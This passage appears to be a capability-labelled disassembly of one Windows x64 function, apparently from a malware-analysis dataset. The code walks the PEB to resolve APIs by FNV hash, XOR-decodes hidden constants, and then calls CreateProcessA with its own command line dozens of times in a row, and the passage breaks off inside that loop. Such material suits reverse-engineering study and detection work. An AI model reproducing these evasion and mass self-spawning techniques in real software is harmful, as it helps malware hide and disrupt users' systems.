Function at 0x140052070
Capabilities:
Accept command line arguments
Access peb ldr_data
Create directory
Create process on windows
Create thread
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1ef0]
mov eax, 0x1ff0
call fcn.1400a0340
sub rsp, rax
mov rax, qword [0x1402acd18]
xor rax, rsp
mov qword [rbp + 0x1e40], rax
mov rax, qword gs:[0x60]
mov r13, rcx
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140052147
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140052147
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140052142
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x140052120
cmp r8d, 0xf407fac3
je 0x14005214c
test r9d, r9d
jne 0x140052100
mov rax, qword [rax]
jmp 0x1400520d0
mov ecx, dword [rdi + 0x24]
lea r8, [rbp + 0x830]
add rcx, r10
movabs r15, 0xca17362cf3ec702c
movabs rsi, 0xdba4b42cb180702c
mov qword [rbp + 0x1cb0], r15
mov qword [rbp + 0x1cb8], rsi
movabs r14, 0x9f715c659d84266f
movdqa xmm0, xmmword [rbp + 0x1cb0]
movabs r12, 0x95c5d048c7d50858
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
movabs rdx, 0xdb81582c6218702c
mov qword [rbp + 0x868], rdx
movabs rcx, 0xc5f241a7be34647
mov qword [rbp + 0x840], rcx
add rax, r10
mov qword [rbp + 0x830], r14
movabs rcx, 0xae653979dcc03215
mov qword [rbp + 0x848], rcx
movabs rcx, 0xb273197d02a61d1f
mov qword [rbp + 0x850], rcx
movabs rcx, 0x243ba5cc753311e
mov qword [rbp + 0x858], rcx
movabs rcx, 0x2b3f4a2cf6244859
mov qword [rbp + 0x860], rcx
movabs rcx, 0x7866522c1dd4702c
mov qword [rbp + 0x1cc0], rcx
movabs rcx, 0xdc34002ced88702c
mov qword [rbp + 0x1cc8], rcx
movabs rcx, 0xdf214e2c58fc702c
movdqa xmm1, xmmword [rbp + 0x1cc0]
xorps xmm1, xmmword [rbp + 0x840]
mov qword [rbp + 0x1cd0], rcx
movabs rcx, 0x75018c2cab10702c
mov qword [rbp + 0x1cd8], rcx
movabs rcx, 0x2b3f4a2cf624702c
mov qword [rbp + 0x838], r12
xorps xmm0, xmmword [rbp + 0x830]
mov qword [rbp + 0x1ce0], rcx
mov ecx, 0x1f0001
mov qword [rbp + 0x1ce8], rdx
xor edx, edx
movdqa xmmword [rbp + 0x830], xmm0
movdqa xmm0, xmmword [rbp + 0x1cd0]
xorps xmm0, xmmword [rbp + 0x850]
movdqa xmmword [rbp + 0x840], xmm1
movdqa xmm1, xmmword [rbp + 0x1ce0]
xorps xmm1, xmmword [rbp + 0x860]
movdqa xmmword [rbp + 0x860], xmm1
movdqa xmmword [rbp + 0x850], xmm0
call rax
test rax, rax
jne 0x14005ac8e
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140052367
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140052367
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140052362
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x140052340
cmp r8d, 0x3b6ed297
je 0x14005236c
test r9d, r9d
jne 0x140052320
mov rax, qword [rax]
jmp 0x1400522f0
mov ecx, dword [rdi + 0x24]
lea r8, [rbp + 0x7f0]
add rcx, r10
mov qword [rbp + 0x1cf0], r15
mov qword [rbp + 0x1cf8], rsi
movdqa xmm0, xmmword [rbp + 0x1cf0]
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
movabs rdi, 0xdc34002ced88702c
add rcx, r10
mov qword [rbp + 0x1d08], rdi
mov eax, dword [rcx + rdx*4]
movabs rdx, 0xdb81582c6218702c
mov qword [rbp + 0x828], rdx
movabs rcx, 0xc5f241a7be34647
mov qword [rbp + 0x800], rcx
add rax, r10
mov qword [rbp + 0x7f0], r14
movabs rcx, 0xae653979dcc03215
mov qword [rbp + 0x808], rcx
movabs rcx, 0xb273197d02a61d1f
mov qword [rbp + 0x810], rcx
movabs rcx, 0x243ba5cc753311e
mov qword [rbp + 0x818], rcx
movabs rcx, 0x2b3f4a2cf6244859
mov qword [rbp + 0x820], rcx
movabs rcx, 0x7866522c1dd4702c
mov qword [rbp + 0x1d00], rcx
movabs rcx, 0xdf214e2c58fc702c
movdqa xmm1, xmmword [rbp + 0x1d00]
xorps xmm1, xmmword [rbp + 0x800]
mov qword [rbp + 0x1d10], rcx
movabs rcx, 0x75018c2cab10702c
mov qword [rbp + 0x1d18], rcx
movabs rcx, 0x2b3f4a2cf624702c
mov qword [rbp + 0x7f8], r12
xorps xmm0, xmmword [rbp + 0x7f0]
mov qword [rbp + 0x1d20], rcx
xor ecx, ecx
mov qword [rbp + 0x1d28], rdx
xor edx, edx
movdqa xmmword [rbp + 0x7f0], xmm0
movdqa xmm0, xmmword [rbp + 0x1d10]
xorps xmm0, xmmword [rbp + 0x810]
movdqa xmmword [rbp + 0x800], xmm1
movdqa xmm1, xmmword [rbp + 0x1d20]
xorps xmm1, xmmword [rbp + 0x820]
movdqa xmmword [rbp + 0x820], xmm1
movdqa xmmword [rbp + 0x810], xmm0
call rax
xorps xmm1, xmm1
lea rcx, [rbp + 0x1720]
xor eax, eax
xorps xmm0, xmm0
xor edx, edx
mov qword [rbp + 0x11d0], rax
mov r8d, 0xb0
mov qword [rbp + 0x1240], rax
movups xmmword [rbp + 0x11c0], xmm0
movups xmmword [rbp + 0x11e0], xmm1
movups xmmword [rbp + 0x11f0], xmm1
movups xmmword [rbp + 0x1200], xmm1
movups xmmword [rbp + 0x1210], xmm1
movups xmmword [rbp + 0x1220], xmm1
movups xmmword [rbp + 0x1230], xmm1
call fcn.1400bc2f0
lea rcx, [rbp + 0x11e0]
call qword [sym.imp.KERNEL32.dll_GetStartupInfoA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r12d, r12d
xor r9d, r9d
mov rdx, rax
xor r8d, r8d
lea rax, [rbp + 0x11c0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x11e0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], r12d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp + 0x11c0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x11e0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp + 0x11c0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x11e0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp + 0x11c0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x11e0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp + 0x11c0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x11e0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp + 0x11c0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x11e0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov rdx, rax
lea rax, [rbp + 0x11c0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x11e0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x400000
xor r9d, r9d
mov dword [rsp + 0x20], r12d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp + 0x11c0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x11e0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp + 0x11c0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x11e0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp + 0x11c0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x11e0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp + 0x11c0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x11e0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp + 0x11c0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x11e0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov rdx, rax
lea rax, [rbp + 0x11c0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x11e0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
xor r9d, r9d
mov qword [rsp + 0x30], r12
xor r8d, r8d
mov dword [rsp + 0x28], 0x400000
xor ecx, ecx
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp + 0x11c0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x11e0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp + 0x11c0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x11e0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp + 0x11c0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x11e0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp + 0x11c0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x11e0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp + 0x11c0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x11e0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov rdx, rax
lea rax, [rbp + 0x11c0]
mov qword [rsp + 0x48], rax
xor r9d, r9d
lea rax, [rbp + 0x11e0]
xor r8d, r8d
mov qword [rsp + 0x40], rax
xor ecx, ecx
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp + 0x11c0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x11e0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp + 0x11c0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x11e0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp + 0x11c0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x11e0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp + 0x11c0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x11e0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp + 0x11c0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x11e0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp + 0x11c0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x11e0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp + 0x11c0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x11e0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp + 0x11c0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x11e0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp + 0x11c0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x11e0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp + 0x11c0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x11e0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov rdx, rax
xor r9d, r9d
lea rax, [rbp + 0x11c0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x11e0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], r12d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp + 0x11c0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x11e0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp + 0x11c0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x11e0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp + 0x11c0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x11e0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp + 0x11c0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x11e0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp + 0x11c0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x11e0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov rdx, rax
lea rax, [rbp + 0x11c0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x11e0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x400000
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], r12d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp + 0x11c0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x11e0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp + 0x11c0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x11e0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp + 0x11c0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x11e0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp + 0x11c0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x11e0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp + 0x11c0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x11e0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov rdx, rax
lea rax, [rbp + 0x11c0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x11e0]
mov qword [rsp + 0x40], rax
xor r9d, r9d
mov qword [rsp + 0x38], r12
xor r8d, r8d
mov qword [rsp + 0x30], r12
xor ecx, ecx
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp + 0x11c0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x11e0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp + 0x11c0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x11e0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp + 0x11c0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x11e0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp + 0x11c0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x11e0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp + 0x11c0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x11e0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov rdx, rax
lea rax, [rbp + 0x11c0]
xor r9d, r9d
mov qword [rsp + 0x48], rax
xor r8d, r8d
